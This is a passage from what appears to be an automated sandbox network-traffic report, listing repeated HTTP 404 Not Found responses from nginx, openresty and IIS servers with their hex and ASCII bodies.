6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page -->
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Mon, 11 Nov 2024 17:50:30 GMTContent-Type: text/htmlContent-Length: 548Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page -->
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: openresty/1.21.4.3Date: Mon, 11 Nov 2024 17:50:36 GMTContent-Type: text/htmlContent-Length: 561Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 2f 31 2e 32 31 2e 34 2e 33 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>openresty/1.21.4.3</center></body></html><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page -->
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: openresty/1.21.4.3Date: Mon, 11 Nov 2024 17:50:36 GMTContent-Type: text/htmlContent-Length: 561Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 2f 31 2e 32 31 2e 34 2e 33 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>openresty/1.21.4.3</center></body></html><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page -->
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Mon, 11 Nov 2024 17:50:39 GMTContent-Type: text/htmlContent-Length: 138Connection: keep-aliveETag: "663ee226-8a"Data Raw: 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Mon, 11 Nov 2024 17:50:40 GMTContent-Type: text/htmlContent-Length: 138Connection: keep-aliveETag: "663ee226-8a"Data Raw: 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.14.0 (Ubuntu)Date: Mon, 11 Nov 2024 17:50:48 GMTContent-Type: text/htmlContent-Length: 580Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 34 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body bgcolor="white"><center><h1>404 Not Found</h1></center><hr><center>nginx/1.14.0 (Ubuntu)</center></body></html><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page -->
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Mon, 11 Nov 2024 17:50:48 GMTContent-Type: text/htmlContent-Length: 548Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page -->
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.14.0 (Ubuntu)Date: Mon, 11 Nov 2024 17:50:48 GMTContent-Type: text/htmlContent-Length: 580Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 34 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body bgcolor="white"><center><h1>404 Not Found</h1></center><hr><center>nginx/1.14.0 (Ubuntu)</center></body></html><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page -->
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/htmlServer: Microsoft-IIS/7.5X-Powered-By: ASP.NETDate: Mon, 11 Nov 2024 17:50:43 GMTContent-Length: 1245Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 53 74 72 69 63 74 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 2f 44 54 44 2f 78 68 74 6d 6c 31 2d 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 69 73 6f 2d 38 38 35 39 2d 31 22 2f 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 2d 20 46 69 6c 65 20 6f 72 20 64 69 72 65 63 74 6f 72 79 20 6e 6f 74 20 66 6f 75 6e 64 2e 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0d 0a 3c 21 2d 2d 0d 0a 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 2d 73 69 7a 65 3a 2e 37 65 6d 3b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 56 65 72 64 61 6e 61 2c 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 45 45 45 45 45 45 3b 7d 0d 0a 66 69 65 6c 64 73 65 74 7b 70 61 64 64 69 6e 67 3a 30 20 31 35 70 78 20 31 30 70 78 20 31 35 70 78 3b 7d 20 0d 0a 68 31 7b 66 6f 6e 74 2d 73 69 7a 65 3a 32 2e 34 65 6d 3b 6d 61 72 67 69 6e 3a 30 3b 63 6f 6c 6f 72 3a 23 46 46 46 3b 7d 0d 0a 68 32 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 2e 37 65 6d 3b 6d 61 72 67 69 6e 3a 30 3b 63 6f 6c 6f 72 3a 23 43 43 30 30 30 30 3b 7d 20 0d 0a 68 33 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 2e 32 65 6d 3b 6d 61 72 67 69 6e 3a 31 30 70 78 20 30 20 30 20 30 3b 63 6f 6c 6f 72 3a 23 30 30 30 30 30 30 3b 7d 20 0d 0a 23 68 65 61 64 65 72 7b 77 69 64 74 68 3a 39 36 25 3b 6d 61 72 67 69 6e 3a 30 20 30 20 30 20 30 3b 70 61 64 64 69 6e 67 3a 36 70 78 20 32 25 20 36 70 78 20 32 25 3b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 22 74 72 65 62 75 63 68 65 74 20 4d 53 22 2c 20 56 65 72 64 61 6e 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 63 6f 6c 6f 72 3a 23 46 46 46 3b 0d 0a 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 35 35 35 35 35 35 3b 7d 0d 0a 23 63 6f 6e 74 65 6e 74 7b 6d 61 72 67 69 6e 3a 30 20 30 20 30 20 32 25 3b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 3b 7d 0d 0a 2e 63 6f 6e 74 65 6e 74 2d 63 6f 6e 74 61 69 6e 65 72 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 46 46 46 3b 77 69 64 74 68 3a 39 36 25 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 38 70 78 3b 70 61 64 64 69 6e 67 3a 31 30 70 78 3b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 3b 7d 0d 0a 2d 2d 3e 0d 0a 3c 2f 73 74 79 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 64 69 76 20 69 64 3d 22 68 65 61 64 65 72 22 3e 3c 68 31 3e 53 65 72 76
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Mon, 11 Nov 2024 17:50:48 GMTContent-Type: text/htmlContent-Length: 548Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 